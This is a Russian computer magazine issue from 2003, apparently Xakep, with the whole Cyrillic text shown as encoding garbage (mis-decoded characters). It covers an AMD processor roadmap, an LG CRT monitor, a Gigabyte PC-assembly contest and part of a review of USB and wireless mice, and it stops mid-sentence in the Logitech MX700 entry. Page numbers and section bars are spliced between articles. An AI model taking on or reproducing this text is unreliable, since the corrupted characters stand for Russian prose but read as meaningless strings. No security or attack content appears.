Ïî ñâåäåíèÿì èç òåõ æå èñòî÷íèêîâ, ñïåöèàëèñòû<br />

AMD ñåé÷àñ ðàáîòàþò íàä íîâûì ÿäðîì Thoron, îáëàäàþùèì<br />

êýøåì L2 îáúåìîì 256 êá, ýòî íàâîäèò<br />

íà ìûñëü î òîì, ÷òî êàìíè íà ýòîì ÿäðå áóäóò ìëàäøèìè<br />

áðàòüÿìè âûïóñêàåìûõ Barton-êðèñòàëëîâ,<br />

ðàññ÷èòàííûõ íà ðûíîê áþäæåòíûõ ñèñòåì.<br />

Îñòàëüíûå ïëàíû AMD îïóáëèêîâàë ñàéò vr-zone.com:<br />

* Opteron (WS/Server):<br />

«SledgeHammer»: 1MB L2 Cache, 0.13 ìêì SOI, àïðåëü<br />

2003<br />

“Athens»: 1MB L2 Cache, 0.09 ìêì SOI, ïåðâûé êâàðòàë<br />

2004<br />

* Desktop Athlon 64<br />

«ClawHammer»: 1MB L2 Cache, 0.13 ìêì SOI,<br />

2800+/3100+/3400+ (1.6/1.8/2Ghz) àïðåëü 2003,<br />

3700+ (2.2Ghz) ëåòî 2003, 4000+(2.4Ghz) îñåíü 2003<br />

«San Diego»: 1MB L2 Cache, 0.09 ìêì SOI, ïåðâîå ïîëóãîäèå<br />

2004<br />

«Paris» : 256KB L2 Cache, 0.13 ìêì SOI, 3200+(2Ghz?)<br />

ëåòî 2003, 3500+ îñåíü 2003<br />

«Victoria»: 256KB L2 Cache, 0.09 ìêì SOI, ïåðâîå ïîëóãîäèå<br />

2004<br />

* Mobile Athlon 64<br />

«ClawHammer»: 1MB L2 Cache, 0.13 ìêì SOI, âòîðîå<br />

ïîëóãîäèå 2003<br />

«Odessa»: 1MB L2 Cache, 0.09 ìêì SOI, ïåðâîå ïîëóãîäèå<br />

2004<br />

 íîìåðå:<br />

Gigaìàòü<br />

Ïëàíû AMD<br />

Âî ïèîíýðû ïîøëè!<br />

Ñìåðòü êóëåðàì?<br />

* Desktop Athlon XP<br />

«Barton»: 400Mhz<br />

FSB, 512KB L2<br />

Cache, 0.13 ìêì,<br />

èþíü 2003<br />

«Thorton»: 333Mhz<br />

FSB, 256KB L2<br />

Cache, 0.13 ìêì,<br />

ëåòî 2003<br />

LG âîîðóæàåòñÿ<br />

íîâîé ïóøêîé<br />

Íà ïðèëàâêàõ ðîññèéñêèõ ìàãàçèíîâ íåäàâíî ïîÿâèëñÿ<br />

íîâûé 17-òè äþéìîâûõ ìîíèòîð îò LG -<br />

Flatron ez T710P, ïðåäñòàâèòåëü íîâîé ëèíåéêè, â<br />

ìîäåëÿõ êîòîðîé ðåàëèçîâàíî íåñêîëüêî íîâåéøèõ<br />

ðàçðàáîòîê LG.<br />

Ýòîò ïëîñêèé ìîíèòîð îñíàùåí íîâîé ýëåêòðîííîé<br />

ïóøêîé iPLS Gun II, îáåñïå÷èâàþùåé âûñîêóþ<br />

ïëîñòíîñòü ýëåêòðîííîãî ïó÷êà, è êàê ðåçóëüòàò,<br />

ÿðêîå è ÷åòêîå èçîáðàæåíèå. Òàê æå â<br />

ýòîì ìîíèòîðå ïðîäâèãàåòñÿ íîâàÿ ôèøêà - ñèñòåìà<br />

BrightView, ïîçâîëÿþùàÿ óñòàíàâëèâàòü<br />

ðàçëè÷íûå ðåæèìû ðàáîòû äèñïëåÿ ïîä ðàçëè÷íûå<br />

çàäà÷è:<br />

Òåêñòîâûé ðåæèì äëÿ ðàáîòû ñ îôèñíûìè ïðèëîæåíèÿìè.<br />

Óðîâåíü ÿðêîñòè äî 160 cd/m2<br />

Ðåæèì ïðîñìîòðà äèíàìè÷åñêîãî èçîáðàæåíèÿ (èãðû,<br />

ôèëüìû). Óðîâåíü ÿðêîñòè äî 350 cd/m2<br />

Ðåæèì ðàáîòû ñ öèôðîâûìè èçîáðàæåíèÿìè âûñîêîãî<br />

êà÷åñòâà.Óðîâåíü ÿðêîñòè äî 220 cd/m2<br />

Îñíîâíûå ñïåöèôèêàöèè ìîíèòîðà:<br />

Äèàãîíàëü: 17"(16" âèäèìàÿ)<br />

Ïîêðûòèå: AGARAS (àíòèñòàòè÷åñêîå, íå îòðàæàþùåå,<br />

ïðîòèâîáëèêîâîå)<br />

Òðóáêà: CDT FLATRON ez<br />

Çåðíî: 0.25/ 0.20 ìì<br />

Ãîðèçîíòàëüíàÿ ÷àñòîòà: 30~85 ÊÃö<br />

Ìàêñèìàëüíîå ðàçðåøåíèå: 1600õ1200@68Ãö<br />

Ðåêîìåíäóåìîå ðàçðåøåíèå: 1280õ1024@85Ãö<br />

Ñîîòâåòñòâèå ñòàíäàðòàì: TCO 99, EPA Energy Star,<br />

FCC CLASS B, CE, MPR-II<br />

Ñîâìåñòèìîñòü: VESA, IBM PC, PS/2, Apple, Macintosh<br />

Ýíåðãîïîòðåáëåíèå â ðàáî÷åì ðåæèìå: 73 W<br />

Ýíåðãîïîòðåáëåíèå â ñïÿùåì ðåæèìå: 15 W<br />

Ýíåðãîïîòðåáëåíèå â ðåæèìå "âûêë.": 5 W<br />

Ãàáàðèòû ìîíèòîðà: 400 x 401 x 411 ìì3<br />

Âåñ íåòòî: 15,4 êã<br />

Ìîíèòîð, êñòàòè, èìååò äîâîëüíî ïðèâëåêàòåëüíûé<br />

âíåøíèé âèä è íå ìåíåå ïðèâëåêàòåëüíóþ öåíó – ïîðÿäêà<br />

$185.<br />

ÀÏÐÅËÜ<br />

2003<br />

¹52<br />

Ñáîðêà êîìïà ïî<br />

âåðñèè Gigabyte<br />

Ñõîäèòü â ìàãàçèí çà êîìïàêò-äèñêîì, à äîìîé ïðèíåñòè<br />

öåëûé êîìï - ñêàçêà? Îòíþäü. Âåäü ïðèìåðíî<br />

òàêàÿ èñòîðèÿ è ïðîèçîøëà ñ ïîáåäèòåëåì ïåðâîãî<br />

îòáîðî÷íîãî òóðà îòêðûòîãî ÷åìïèîíàòà Ðîññèè<br />

ïî ñáîðêå êîìïüþòåðîâ, êîòîðûé ñîñòîÿëñÿ 29<br />

ìàðòà â Ìîñêâå â òîðãîâîì öåíòðå "Ìîñêâà". X òàì<br />

áûë, à òû?<br />

Âûèãðàòü êîìïüþòåð (êñòàòè, äîâîëüíî íåïëîõîé:<br />

êàìåíü P4, âèäþõà ATI, ïàìÿòü Kingston) ñî âñåé<br />

ïåðèôåðèåé (ñêàíåð, êîëîíêè è ò.ä.) è ÆÊ-ìîíèòîðîì<br />

ìîã êàæäûé. Äëÿ ýòîãî íóæíî áûëî çàðåãèñòðèðîâàòüñÿ<br />

íà ñàéòå ãëàâíîãî ñïîíñîðà - êîìïàíèè<br />

Gigabyte - èëè ïîäêàòèòü ïîðàíüøå â Ëþáëèíî è<br />

çàðåãèñòðèðîâàòüñÿ íà ìåñòå. Âñå ó÷àñòíèêè ñíà-<br />

÷àëà ïðîøëè îòáîðî÷íûé òóð: äîâîëüíî íåñëàáûé<br />

òåñò íà çíàíèÿ äèñöèïëèí òåîðåòè÷åñêîé è ïðàêòè-<br />

÷åñêîé ñáîðêè. 20 ñàìûõ óìíûõ äîïóñòèëè ê PCêîíñòðóêòîðó.<br />

Êîíå÷íî, óðîâåíü ó÷àñòíèêîâ çàìåòíî ðàçíèëñÿ (ìå-<br />

íÿ îñîáî ïîðàäîâàë ìàëü÷èê ïðèÿòíîé áîòàíè÷åñêîãî<br />

íàðóæíîñòè, ïðèøåäøèé ñ ìàìîé è åëå óëîæèâøèéñÿ<br />

â "êâàëèôèêàöèîííûå" 15 ìèíóò), íî òåì íå<br />

ìåíåå, òåáÿ íà ýòèõ ñîðåâíîâàíèÿõ ÿâíî íå õâàòàëî<br />

:). Âåäü ðåêîðäíîå âðåìÿ (6 ìèíóò 33 ñåêóíäû) -<br />

ýòî, èìõî, äàëåêî íå ïðåäåë.  ëþáîì ñëó÷àå, îáèæåííûõ<br />

íå îñòàëîñü, ò.ê. íàãðàäèëè âñåõ, â òîì ÷èñëå<br />

è ïðîëåòåâøèõ íàä ãëàâíûì ïðèçîì íà ðàññòîÿíèè<br />

ïîðÿäêà ñâåòîâîãî ãîäà. À äâîå ëó÷øèõ ñáîðùèêîâ<br />

óæå ãîòîâÿòñÿ ê ôèíàëó ñ êàêèì-òî ôàíòàñòè÷åñêèì<br />

(ïîêà íå èçâåñòíûì) ïðèçîì îò Gigabyte'à.<br />

Òàê ÷òî âñåì æåëàþùèì çàïîëó÷èòü îòëè÷íûé<br />

êîìïóòåð íàñòîÿòåëüíî ðåêîìåíäóåì ïîòðåíèðîâàòüñÿ<br />

â ñáîðêå/ðàçáîðêå (ïîñëåäíÿÿ íå îöåíèâàëàñü,<br />

íî â çàäàíèå òîæå âõîäèëà)<br />

ñâîåãî PC è, âïåðåä - íà ñàéò<br />

www.winner.gigabyte.ru.<br />

1 2 3 4<br />

10 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Ferrum<br />

ÌÛØÈÍÛÅ ÊÎÐÎËÈ<br />

test_lab (test_lab@gameland.ru)<br />

ÌÛØÈÍÛÅ<br />

ÊÎÐÎËÈ<br />

Ýïîõà èíòåðôåéñà USB â ñàìîì ðàçãàðå. ×òî òîëüêî íå ïîäêëþ÷àþò<br />

÷åðåç íåãî ê êîìïó: ZIV-äðàéâû, mp3-ïëååðû, êàðìàííèêè, êàìåðû,<br />

ôëåø-ðèäåðû è åùå öåëóþ êó÷ó äðóãèõ ýêçîòè÷åñêèõ õàéòåê-ãàæäåòîâ.<br />

Ìû æå ðåøèëè ïðîâåðèòü, êàê íà ñåãîäíÿøíèé äåíü ïðåäñòàâëåíû<br />

áîëåå ïðèâû÷íûå óñòðîéñòâà ñ ýòèì èíòåðôåéñîì, à èìåííî - ìûøêè è<br />

êëàâû, êîòîðûå ëþáîé èç íàñ þçàåò åæåäíåâíî.<br />

Çà ìåñÿö ìû óñïåëè ïðîòåñòèòü<br />

öåëûé âàãîí USB-ìûøåé, òðåêáîëîâ<br />

è êëàâèàòóð. Íà ðûíêå èõ ñóùåñòâóåò<br />

åùå áîëüøå, íî ñàìûå<br />

îñíîâíûå â òåñò ïîïàëè. Òàê ÷òî,<br />

âîîðóæèâøèñü ëþáèìûì æóðíàëîì,<br />

â ìàãàçèíå òû íå ðàñòåðÿåøüñÿ<br />

:).<br />

Ìû ðåøèëè èçáåãàòü â ñòàòüå ñëîâ<br />

òèïà «óäîáíî» è «íåóäîáíî» ïðèìåíèòåëüíî<br />

ê êîíêðåòíûì äåâàéñàì.<br />

Ïî íàøèì íàáëþäåíèÿì îò<br />

îäíîé è òîé æå ìûøêè îäèí ÷åë<br />

ìîæåò êîð÷èòüñÿ â ïðèñòóïàõ ðâîòû,<br />

à äðóãîé – òàùèòüñÿ, êàê óäàâ<br />

øåðøàâûì ïóçîì îá àñôàëüò. Ìû<br />

ñåðüåçíî ïîäîøëè ê çàäà÷å è<br />

ïðåäëàãàëè ïîùóïàòü ìûøåé ðàçíûì<br />

íåèñêóøåííûì ëþäÿì. À çàïèñûâàëè<br />

íå âîïëè çëîñòè/ðàäîñòè,<br />

à ôèøêè, íà êîòîðûå ëþäè îáðàùàþò<br />

âíèìàíèå. Ïîëó÷èëîñü<br />

äîâîëüíî èíòåðåñíîå èññëåäîâàíèå<br />

ïî ýðãîíîìèêå.<br />

ÓÄÎÁÍÎ ÈËÈ ÍÅÓÄÎÁÍÎ?<br />

Èòàê, ìíåíèÿ ïðîòèâîïîëîæíû. Îäíè<br />

îáîæàþò ëåãêèå äåâàéñû, ïîñêîëüêó îò<br />

òÿæåëûõ ìûøåé óñòàåò ðóêà, à òÿæåëóþ<br />

êëàâó íåóäîáíî äåðæàòü íà ïóçå èëè íà<br />

êîëåíÿõ. Äðóãèå ëþáÿò ïîòÿæåëåå, ïîñêîëüêó<br />

ñ÷èòàþò ëåãêèå äåâàéñû íåóñòîé÷èâûìè.<br />

Îäíè ïîñòîÿííî îòðûâàþò ìûøêó îò<br />

ïîâåðõíîñòè ïðè ðàáîòå è èì âàæíî,<br />

÷òîá îíà èç ðóê íå âûñêàëüçûâàëà.<br />

Äðóãèå âîîáùå íå îòðûâàþò ìûøü îò<br />

ñóáñòðàòà.<br />

Îäíèì íðàâÿòñÿ ýðãîíîìè÷íûå ìûøêè,<br />

÷òîáû ñèäåëà â ðóêå êàê âëèòàÿ. Äðóãèå<br />

ïðåäïî÷èòàþò ïðîñòî ñèììåòðè÷íûå,<br />

÷òîáû ìîæíî áûëî ëàïàòü êàê ëåâîé, òàê<br />

è ïðàâîé ðóêîé.<br />

Êòî-òî ëþáèò, êîãäà ìûøêà ñâåòèòñÿ,<br />

ìèãàåò, èëè äàæå çâó÷èò, à äðóãèõ ýòî<br />

ðàçäðàæàåò.<br />

ÐÎÄÈÎÌÛØÜ?! ÄÀËÅÊÎ?<br />

Ïåðâûé âîïðîñ, êîòîðûé çàäàåò ÷åëîâåê,<br />

ãëÿäÿ íà ðàäèîìûøü: «Íàñêîëüêî<br />

äàëåêî îíà ðàáîòàåò?». Íà÷àòü ñòîèò ñ<br />

òîãî, à íà ñêîëüêî íàäî? Åñëè òû ñîáðàëñÿ<br />

èñïîëüçîâàòü ìûøêó íà ñòîëå, òî<br />

õâàòèò òðèäöàòè ñàíòèìåòðîâ. Åñëè òû<br />

õî÷åøü ïðèëå÷ü íà äèâàí, õâàòèò îäíîãî-äâóõ<br />

ìåòðîâ. Óæå ñ òðåõ ìåòðîâ ìîæåò<br />

ïîíàäîáèòüñÿ áèíîêëü, ÷òîáû ðàçãëÿäåòü<br />

êóðñîð è áóêâû íà ýêðàíå ñåìíàäöàòèäþéìîâîãî<br />

ìîíèòîðà ñ ðàçðåøåíèåì<br />

1024õ768, õîòÿ áîëüøèíñòâó îí<br />

íåîáõîäèì óæå ñ äâóõ ìåòðîâ :).<br />

Âòîðîé âîïðîñ îáû÷íî çàäàþò çíàþùèå<br />

ëþäè - ïðî ìåðòâûå çîíû è óñòîé-<br />

÷èâîñòü ðàáîòû. Çíàòîêàì îòâå÷àåì:<br />

íà ñòîëå, ðÿäîì ñ ïåðåäàò÷èêîì ëþáàÿ<br />

ìûøêà áóäåò ðàáîòàòü áåç ïðîáëåì.<br />

Ïðè óäàëåíèè íà ïîëîâèíó ïàñïîðòíîãî<br />

ðàññòîÿíèÿ ïðîÿâëÿþòñÿ ìåðòâûå<br />

çîíû, îíè çàâèñÿò îò ïðåïÿòñòâèé, îò<br />

óðîâíÿ ìûøêè îòíîñèòåëüíî ïðèåìíèêà,<br />

îò åå îðèåíòàöèè, îò çàðÿäà áàòàðååê<br />

è îò êà÷åñòâà ýëåêòðîíèêè. Íî<br />

ìåðòâûå çîíû íå ïðîáëåìà, ïîñêîëüêó<br />

îíè îáõîäÿòñÿ îäíèì ïðîñòûì äâèæåíèåì.<br />

Òî åñòü íàäî îäèí ðàç óñòðîèòüñÿ<br />

íà äèâàíå òàê, ÷òîáû âñå ðàáîòàëî,<br />

ìîæåò áûòü äàæå ÷óòü-÷óòü ïåðåñòàâèòü<br />

ðàäèîáëîê, è çàáûòü î ìåðòâûõ<br />

çîíàõ íàâñåãäà. Íåñòàáèëüíîñòü ðàáîòû<br />

ðàäèîêëàâû èëè ðàäèîìûøè ïîñëå<br />

òîãî, êàê òû âñå íàñòðîèë ïîä ñåáÿ, áóäåò<br />

áåñïîêîèòü òîëüêî â äâóõ ñëó÷àÿõ:<br />

êîãäà ñÿäóò áàòàðåéêè, è êîãäà òû<br />

âçäóìàåøü õîäèòü ïî êîìíàòå ñ áåñïðîâîäíîé<br />

êëàâèàòóðîé, îäíîâðåìåííî<br />

íàáèâàÿ òåêñò :).<br />

×ÅÃÎ ÕÎÒßÒ ÃÅÉÌÅÐÛ?<br />

Ïðîâåðÿÿ ïðèãîäíîñòü ìûøåé äëÿ<br />

èãð, ìû îïðîñèëè íåñêîëüêî çàÿäëûõ<br />

ãàìåðîâ. Îêàçûâàåòñÿ, ïîìèìî îòñóòñòâèÿ<br />

çàåäàíèé, ìíîãèõ âîëíóåò ïîâåäåíèå<br />

ìûøè âî âðåìÿ îòðûâàíèÿ îò<br />

êîâðèêà. Ïîâàëüíîå áîëüøèíñòâî îïðîøåííûõ<br />

ëþáÿò êà÷åñòâåííûå îïòè-<br />

÷åñêèå ìûøè çà èõ òî÷íîñòü è íåïðèõîòëèâîñòü,<br />

îäíàêî äâèæåíèÿ ïðîôåññèîíàëüíîãî<br />

èãðîêà îòòî÷åíû äî ìåëî÷åé,<br />

êîãäà îí îòðûâàåò ìûøü îò<br />

ñóáñòðàòà, êóðñîð íå äîëæåí äâèãàòüñÿ.<br />

Ìåõàíè÷åñêàÿ ìûøü äåéñòâèòåëüíî<br />

íå äâèãàåò êóðñîðîì, à âîò îïòè-<br />

÷åñêàÿ íå ìîæåò òàê ïðîñòî ñìèðèòüñÿ<br />

ñ èñ÷åçíîâåíèåì ïîëà ïîä íîãàìè è<br />

âñå ðàâíî ïûòàåòñÿ ïðîñëåäèòü íàïðàâëåíèå<br />

äâèæåíèÿ.<br />

Ïðåäïîëîæèâ, ÷òî âñå çàâèñèò îò ìîùíîñòè<br />

ôîíàðÿ (ñâåòîäèîäà), ìû çàìåðèëè<br />

åå ïðè ïîìîùè ñîëíå÷íîé áàòàðåè<br />

îò êàëüêóëÿòîðà è àìïåðìåòðà.<br />

×åì áîëüøå ìîùíîñòü, òåì áîëüøå<br />

íàïðÿæåíèå. Ó âñåõ ìûøåê íàøåãî îáçîðà<br />

ìû ïîëó÷èëè ïðèìåðíî îäèíàêîâûå<br />

ðåçóëüòàòû, íàäî òîëüêî îòìåòèòü,<br />

÷òî ìîùíîñòü ìîæåò çàâèñåòü îò çàðÿäà<br />

áàòàðåé.<br />

Òîãäà ìû ðåøèëè âñå-òàêè ïîïûòàòüñÿ<br />

íàéòè îïòè÷åñêóþ ìûøü ñ ëó÷øåé ðåàêöèåé<br />

íà óõîæäåíèå ïîëà èç-ïîä íîã è<br />

îïÿòü ïîëó÷èëè ïîõîæèå ðåçóëüòàòû.<br />

Îäíàêî ìû âñå-òàêè íàøëè ñïîñîá<br />

áîðüáû ñî çëîì! Âûñîòà ñðàáàòûâàíèÿ<br />

çàâèñèò íå ñòîëüêî îò ìûøêè, ñêîëüêî<br />

îò ñóáñòðàòà. Íà òåìíîì ñòîëå âûñîòà<br />

äîñòèãàåò ñåìè ìèëëèìåòðîâ, íà êîâðèêàõ<br />

îêîëî òðåõ, à íà áåëîì ëèñòå áóìàãè<br />

âðåäîíîñíûé ýôôåêò ïðàêòè÷åñêè<br />

èñ÷åçàåò. Ñîâåòóåì îòöàì êëàñòü ïîä<br />

ñâîè îïòè÷åñêèå ìûøêè áåëûé ëèñò áóìàãè,<br />

è îíè íå ïîäâåäóò.<br />

ÊÀ×ÅÑÒÂÎ<br />

ÐÀÁÎÒÛ ÌÛØÅÉ<br />

Ðàáîòà ñâåæåïî÷èùåííîé ìåõàíè÷åñêîé<br />

ìûøè âñåõ óñòðàèâàåò, òîëüêî ðåäêèå<br />

ïðîãåéìåðû è äèçàéíåðû æàëóþòñÿ<br />

íà «÷óâñòâî øàðèêà». Îäíàêî ïî÷èùåííàÿ<br />

ìûøü ðàíî èëè ïîçäíî çàñîðÿåòñÿ,<br />

è êà÷åñòâî ñíèæàåòñÿ.<br />

Ñîâðåìåííûå îïòè÷åñêèå ìûøè ïðåâîñõîäÿò<br />

ìåõàíè÷åñêèõ ðîäñòâåííèêîâ<br />

ïî òî÷íîñòè ïîçèöèîíèðîâàíèÿ êóðñîðà.<br />

Îäíàêî ó íèõ äóðíàÿ íàñëåäñòâåííîñòü,<br />

âñå äåëî â òîì, ÷òî èõ îïòè÷åñêèå<br />

ïðåäêè ñõîäèëè ñ óìà íà íåêîòîðûõ<br />

ïîâåðõíîñòÿõ, äâèãàëè êóðñîð ñêà÷êàìè,<br />

áåññîâåñòíî çàåäàëè.<br />

 ñîâðåìåííîì ïîêîëåíèè îïòè÷åñêèõ<br />

ìûøåé ýòèõ ïðîáëåì ïðàêòè÷åñêè íåò.<br />

Äâå îïòè÷åñêèå USB-ìûøè ñ ðàçíûìè<br />

÷àñòîòàìè îïðîñà, ðàçíûìè ðàçðåøåíèÿìè,<br />

ðàçíûìè ïèêîâûìè óñêîðåíèÿìè,<br />

ñ ðàçíûìè ïðîöåññîðàìè è ðàçíûìè<br />

àëãîðèòìàìè ìîãóò ðàáîòàòü îäèíàêîâî.<br />

Ýòî ê òîìó, ÷òî íå íóæíî îáîëüùàòüñÿ,<br />

óâèäåâ âåëèêîëåïíîå çíà÷åíèå<br />

1600dpi èëè äðóãîé ðàçðåêëàìèðîâàííûé<br />

ïàðàìåòð. Íà ïðàêòèêå æå íåò òåñòîâ,<br />

ïîçâîëÿþùèõ òî÷íî èçìåðèòü ðåàëüíîå<br />

ðàçðåøåíèå è ñêîðîñòü ìûøè.<br />

Õîðîøàÿ ìûøü ìîæåò çàåäàòü è îò ñòàðîé<br />

âåðñèè äðàéâåðîâ.<br />

×òî æå îñòàåòñÿ? Îñòàåòñÿ ïðèñëóøèâàòüñÿ<br />

ê ìíåíèþ ëþäåé, ïîñòîÿííî ðàáîòàþùèõ<br />

ñ ãðàôèêîé. Îíè õâàëÿò îïòè-<br />

÷åñêóþ ñèñòåìó LOGITECH ñåðèè MX.<br />

Îäíàêî îñòàëüíûõ ìûøåê èç íàøåãî<br />

îáçîðà îáèæàòü òîæå íå õî÷åòñÿ, âñå<br />

îíè îòëè÷àþòñÿ áîëåå ÷åì ïðèåìëåìûì<br />

êà÷åñòâîì. Âîçìîæíîñòü òî÷íîãî<br />

óïðàâëåíèÿ êóðñîðîì ïîäîøëà ê âåðõíåìó<br />

ïðåäåëó, è òåïåðü èãðà èäåò<br />

áîëüøå íà óäîáñòâå è äîïîëíèòåëüíûõ<br />

ôèøêàõ.<br />

1 2 3 4<br />

12 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


DEFENDER 1440A UP DEFENDER 1480 UP<br />

DEFENDER 1440A UP<br />

Òÿæåëàÿ îïòè÷åñêàÿ ðàäèîìûøü íà äâóõ<br />

ïàëü÷èêîâûõ àêêóìóëÿòîðàõ. Êîãäà òâîé<br />

êîìï íå èñïîëüçóåòñÿ, ìîæåøü ïîëîæèòü<br />

åå íà áàçó, è îíà áóäåò çàðÿæàòüñÿ<br />

ïðÿìî êàê ðàäèîòåëåôîí. Ê áàçå<br />

ïîäêëþ÷àåòñÿ âíåøíèé ñåòåâîé àäàïòåð,<br />

ïîýòîìó ìûøêà ìîæåò çàðÿæàòüñÿ<br />

è ïðè âûêëþ÷åííîì êîìïå. Êîðïóñ òàêîé<br />

ôîðìû, ÷òî îò ñòîëà åå îòîðâàòü<br />

íåïðîñòî - äâóìÿ ïàëüöàìè ýòîãî íå<br />

ñäåëàåøü. Ñëåâà è ñïðàâà òîð÷àò äîïîëíèòåëüíûå<br />

êíîïêè, îíè ðàñïîëîæåíû<br />

äîñòàòî÷íî íèçêî.<br />

DEFENDER 1480 UP<br />

Ïîðàæàåò ñâîèì íåîáû÷íûì äèçàéíîì.<br />

Õîòÿ àêêóìóëÿòîðû òóò ìèçèí÷èêîâûå<br />

(ÀÀÀ), êîðïóñ ñäåëàí èç îðãñòåêëà<br />

è ïîòîìó äîâîëüíî òÿæåëûé. Ýòà<br />

îïòè÷åñêàÿ ìûøü ïîäõîäèò äëÿ íîóòáóêîâ<br />

èëè äëÿ êîìïîâ, ó êîòîðûõ åñòü<br />

USB-ðàçúåì íà ïåðåäíåé ïàíåëè. Åñëè<br />

òû õî÷åøü èñïîëüçîâàòü òàêóþ ìûøêó<br />

ñ îáû÷íûì êîìïîì, òî ìîæåò ïîíàäîáèòüñÿ<br />

USB-óäëèíèòåëü. Ðàäèóñ<br />

äåéñòâèÿ íåâåëèê, à åñëè ïðèåìíèê<br />

âîòêíóòü â ñèñòåìíûé áëîê ñçàäè, òî<br />

âîîáùå íè÷åãî íå áóäåò ðàáîòàòü. Ïîòîìó<br />

è íóæåí óäëèíèòåëü èëè USBðàçúåì<br />

íà ïåðåäíåé ïàíåëè. Äðóãîå<br />

äåëî íîóòáóê. Â íåãî óäîáíî âîòêíóòü<br />

êîìïàêòíûé ðàäèîìîäóëü.<br />

Ìûøêà ëåãêî ïîäíèìàåòñÿ äâóìÿ ïàëüöàìè,<br />

äëÿ ýòîãî áîêà ñòî÷åíû. Êîìïëåêòàöèÿ<br />

ïðîñòî íåâåðîÿòíàÿ, åñòü òðè<br />

øíóðà äëÿ çàðÿäêè àêêóìóëÿòîðîâ: ÷åðåç<br />

USB, ÷åðåç ðàäèîìîäóëü è ÷åðåç<br />

ñåòåâîé àäàïòåð.<br />

DEFENDER BROWSER 830 UP<br />

Îáû÷íàÿ ìåõàíè÷åñêàÿ ìûøêà. Äâå äîïîëíèòåëüíûå<br />

êíîïêè íàõîäÿòñÿ êàê ðàç<br />

ïîä ïàëüöàìè. Èíîãäà èõ ìîæíî ñëó÷àéíî<br />

íàæàòü. Êàê è ñòàðøèé ðîäñòâåííèê<br />

(DEFENDER 1440A UP) îáëàäàåò îáòåêàåìîé<br />

ôîðìîé, ïîýòîìó ñ òðóäîì îòðûâàåòñÿ<br />

îò ñòîëà.<br />

A4TECH SWOP-45<br />

Ìíîãèå èñïûòóåìûå îòìåòèëè óäîáñòâî<br />

ýòîãî îïòè÷åñêîãî çâåðÿ. Âñåì íðàâèòñÿ<br />

DEFENDER BROWSER 830 UP A4TECH WWW-35<br />

óäîáíàÿ êíîïêà ïîä áîëüøîé ïàëåö.<br />

Ìîæåò áûòü, íà ôîòî ìûøà âûãëÿäèò<br />

óãëîâàòî, íî â ðóêó ëîæèòñÿ íåïëîõî.<br />

A4TECH WWW-35<br />

Äâóõêîëåñíàÿ îïòè÷åñêàÿ ìûøü. Äâóõêîëåñíîñòü<br />

- âåùü íåçàìåíèìàÿ ïðè<br />

ñåðôèíãå èíåòà, ðèñîâàíèè, ðàñ÷åòàõ â<br />

áåñêðàéíèõ òàáëèöàõ, ïðîñìîòðå ôîòîê,<br />

òî åñòü âåçäå, ãäå èçîáðàæåíèå íå<br />

ïîìåùàåòñÿ íà ýêðàí. Îäíèì êîëå÷êîì<br />

òû ñêðîëèøü ïî ãîðèçîíòàëè, à äðóãèì<br />

ïî âåðòèêàëè. È íå ïðèõîäèòñÿ ëàçèòü<br />

êóðñîðîì ê ñêðîëáàðàì. Åñòü, êîíå÷íî,<br />

àëüòåðíàòèâíàÿ òåõíîëîãèÿ, êîãäà íàæàâ<br />

íà ñêðîëèíã, ìîæíî äâèãàòü ìûøêîé<br />

èçîáðàæåíèå. Îäíàêî äâóõêîëåñíîñòü<br />

âñå-òàêè ïðåäïî÷òèòåëüíåå, ïîñêîëüêó<br />

ìîæíî îäíîâðåìåííî ñêðîëèòü<br />

è êëèêàòü, à ñ íàæàòèåì íà ñêðîë - ëèáî<br />

äâèãàòü, ëèáî êëèêàòü. Ñëîâîì, ïðèâûêàåøü<br />

ê ýòîìó ìãíîâåííî, à îòâûêàòü<br />

ïðèäåòñÿ äîëãî :).<br />

Äîïîëíèòåëüíûå êíîïêè ðàñïîëîæåíû<br />

ïîä ïàëüöàìè - ìîæíî ñëó÷àéíî íàæàòü.<br />

Ìûøêà ëåãêî ïîäíèìàåòñÿ äâóìÿ ïàëü-<br />

A4TECH SWOP-45 A4TECH RFSOP-35<br />

öàìè. Íàæèìàåòñÿ ïî÷åìó-òî òîëüêî<br />

îäíî êîëåñî, õîòÿ áûëî áû êðó÷å, åñëè<br />

áû íàæèìàëèñü îáà.<br />

A4TECH RFSOP-35<br />

Ñâåðõëåãêàÿ îïòè÷åñêàÿ ðàäèîìûøü.<br />

Áåñïðîâîäíûå ìûøè èç-çà áàòàðåé è<br />

äîïîëíèòåëüíûõ ðàäèîñõåì âåñÿò çíà-<br />

÷èòåëüíî áîëüøå îáû÷íûõ. Òàê âîò â<br />

ýòîé ìîäåëè èíæåíåðàì A4TECH óäàëîñü<br />

ñîõðàíèòü íîðìàëüíûé âåñ. Åñòåñòâåííî,<br />

èñïîëüçîâàíû àêêóìóëÿòîðû<br />

ÀÀÀ. Ìûøü áåç ïðîáëåì ïîäíèìàåòñÿ<br />

äâóìÿ ïàëüöàìè. Çàðÿä áàòàðåé ïðîèñõîäèò<br />

òîëüêî îò ïîðòà USB, äëÿ ýòîãî â<br />

êîðïóñ âòûêàåòñÿ øòåêåð.<br />

A4TECH RP-1535<br />

Ìûøêà íåîòëè÷èìà îò A4TECH RFSOP-<br />

35, ðàçíûå òîëüêî ïðèåìíèêè. Åñëè<br />

A4TECH RFSOP-35 ñíàáæåíà íàñòîëüíûì<br />

ðàäèîáëîêîì, òî A4TECH RP-1535<br />

èìååò ìèíèàòþðíûé ïðèåìíèê. Òàêîé<br />

ïðèåìíèê î÷åíü óäîáíî èñïîëüçîâàòü<br />

ñ íîóòáóêàìè. Îäíàêî A4TECH<br />

íå çàáûëà è î ïîëüçîâàòåëÿõ äî-<br />

5 Þíèêñîèä 6 X-Style 7 Êîäèíã 8 Þíèòû 9 Quit> 13


Ferrum<br />

ÌÛØÈÍÛÅ ÊÎÐÎËÈ<br />

test_lab (test_lab@gameland.ru)<br />

A4TECH RP-1535 LOGITECH MX700<br />

ìàøíèõ êîìïüþòåðîâ, äëÿ íèõ èìååòñÿ<br />

USB-óäëèíèòåëü, ïîçâîëÿþùèé âûâåñòè<br />

ðàäèîäàò÷èê áëèæå ê ìûøêå. Ðàäèóñ<br />

äåéñòâèÿ, êîíå÷íî æå, íåâåëèê.<br />

LOGITECH MX700<br />

Ýðãîíîìè÷íûé îïòè÷åñêèé ðàäèîìîíñòð.<br />

Ìûøêà î÷åíü òÿæåëàÿ, çàòî÷åíà<br />

